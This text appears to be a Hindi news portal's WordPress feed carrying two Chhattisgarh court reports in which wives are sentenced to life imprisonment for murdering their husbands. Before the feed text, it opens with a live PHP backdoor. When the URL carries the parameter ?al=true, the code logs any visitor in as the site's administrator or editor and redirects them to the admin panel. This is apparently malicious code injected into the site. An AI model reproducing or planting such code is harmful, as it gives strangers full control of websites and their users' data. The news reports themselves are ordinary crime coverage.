// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); husband murder – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 29 Oct 2025 11:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अवैध संबंध में पति की हत्या, पत्नी और प्रेमी को उम्रकैद की सजा https://pratyushaashakinayikiran.com/?p=187967 Wed, 29 Oct 2025 11:20:00 +0000 https://pratyushaashakinayikiran.com/?p=187967 सूरजपुर

छत्तीसगढ़ में सूरजपुर तृतीय अपर सत्र न्यायाधीश न्यायालय ने पति की हत्या मामले में पत्नी और उसके प्रेमी को कठोर सजा सुनाई है. अवैध संबंध के शक गहराने पर आए दिन विवाद होने के कारण वारदात को अंजाम दिया गया था. कोर्ट ने दोनों आरोपियों को आजीवन कारावास की सजा सुनाई है. साथ ही सश्रम कारावास और 10-10 हजार रुपए के अर्थदंड से दंडित किया है.  

दरअसल, सूरजपुर थाना के ग्राम नमदगिरी में साल 2024 के 3 जनवरी को सुनील देवांगन के गुमशुदगी की रिपोर्ट दर्ज कराई गई थी. जिसमें बताया गया था कि वह 2 जनवरी (2024) को शाम 7 बजे घुमने निकला लेकिन वापन नहीं लौटा. अगली सुबह खेत में लाश मिली. शार्ट पीएम रिपोर्ट में मृत्यु की प्रकृति हत्या की बात सामने आने के बाद पुलिस ने अपराध क्रमांक 04/2024 धारा 302 भादवि. का पंजीबद्ध कर जांच शुरू की.

पुलिस की जांच में डॉग स्क्वाड की सहायता ली गई, जिसमें डॉग मास्टर ने मृतक सुनील देवांगन के कमरे और उसकी पत्नी लक्ष्मी देवांगन की ओर संकेत किया. मुखबिरों से भी मिली जानकारी मृतक की पत्नी लक्ष्मी देवांगन और रामकुमार के बीच संबंध होने की बात सामने आई. इस लीड पर पुलिस ने जांच आगे बढ़ाई. लक्ष्मी देवांगन से पूछताछ की गई, जिसमें उसने अपना जुर्म स्वीकार किया. उसने पुलिस को बताया कि उसका रामकुमार से संबंध था और जब उसके पति सुनील को इस बात का शक हुआ. उसके और पति के बीच झगड़ा होने लगा. इसके बाद लक्ष्मी और रामकुमार ने मिलकर सुनील की हत्या की साजिश रची और गमछे से उसका गला दबाकर उसकी जान ले ली. हत्या के बाद दोनों ने शव को कुछ दूरी पर स्थित खेत में ले जाकर लिटा दिया.

पुलिस ने आरोपियों को गिरफ्तार कर तृतीय अपर सत्र न्यायाधीश न्यायालय, सूरजपुर में प्रस्तुत किया गया. जहां से दोनों आरोपियों को आजीवन कारावास की सजा सुना दी है.

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छत्तीसगढ़-कोरबा में पत्नी-बेटे ने की पति की हत्या, लाश को ऑटो पर रखकर लगाया ठिकाने https://pratyushaashakinayikiran.com/?p=96115 Sat, 09 Nov 2024 17:25:00 +0000 https://pratyushaashakinayikiran.com/?p=96115 कोरबा.

गला दबाकर पति की हत्या कर पुत्र के साथ मिलकर लाश को ठिकाना लगाने के मामले में आरोपी पत्नी को न्यायालय ने आजीवन कारावास की सजा सुनाई है। मामला सिविल लाइन थाना क्षेत्र अंतर्गत खपराभट्ठा बस्ती का है। 2018-19 में घटना सामने आई थी। 33 वर्षीय सुशीला निषाद ने अपने पति विमल वाल्मीकि उर्फ सूर्या की गुमशुदा होने की शिकायत सिविल लाइन थाना पुलिस से की थी।

काफी खोजबीन के बाद भी सूर्य का पता नहीं चल सका था। इसके बाद बालको थाना क्षेत्र अंतर्गत कॉफी प्वाइंट मे नर कंकाल मिला था। घटनास्थल से एक चूड़ा मिलने पर उसकी पहचान विमल वाल्मीकि उर्फ सूर्या के रूप में की गई। पहचान करवाई होने के बाद सिविल लाइन थाना पुलिस ने मामले को गंभीरता से लिया और सुशीला निषाद और उसके बेटे से पूछताछ शुरू की। नर कंकाल का डीएनए किया गया। रिपोर्ट में नर कंकाल विमल वाल्मीकि का होना पाया गया। घटनाक्रम सामने आया कि विमल वाल्मीकि की हत्या कर उसे की कॉफी प्वाइंट में फेंका गया था। इस घटना को अंजाम किसी और ने नहीं, बल्कि उसकी पत्नी और बच्चे ने दिया था।
पूरे मामले का खुलासा तब हुआ जब हत्या करने के बाद लाश को जिस ऑटो में लेकर गए थे, उसके ऑटो चालक ने पुलिस को घटनाक्रम बताया। आरोपी सुशीला निषाद और उसके पति विमल वाल्मीकि के बीच आपसी विवाद हो गया था। पत्नी ने पति का गला घोट कर मौत के घाट उतारा। इसके बाद रात भर बिताने के बाद सुबह पिकनिक जाने के बहाने एक ऑटो बुक किया। लाश को चटाई से ढककर ऑटो में लेकर पिकनिक जाने के बहाने कॉफी प्वाइंट निकले। इस दौरान ऑटो चालक को शौच करने के बहाने गुमराह किया गया और लाश को कॉफी प्वाइंट के पास झाड़ियां में मां और बेटे फेंक दिया।
इस दौरान ऑटो चालक की नजर मां और बेटे पर पड़ी जानकारी होने के बाद मां और बेटे ऑटो चालक को भी जान से करने और किसी मामले में फंसा देने की धमकी देते रहे। अतिरिक्त शासकीय अभिभाषक कृष्ण द्विवेदी ने बताया कि शासकीय माननीय न्यायालय पीठासीन न्यायाधीश श्रीमती गरिमा शर्मा के कोर्ट में इस मामले का सनी किया गया, जहां आरोपी सुषमा निषाद को आजीवन कारावास की सजा सुनाई गई है।

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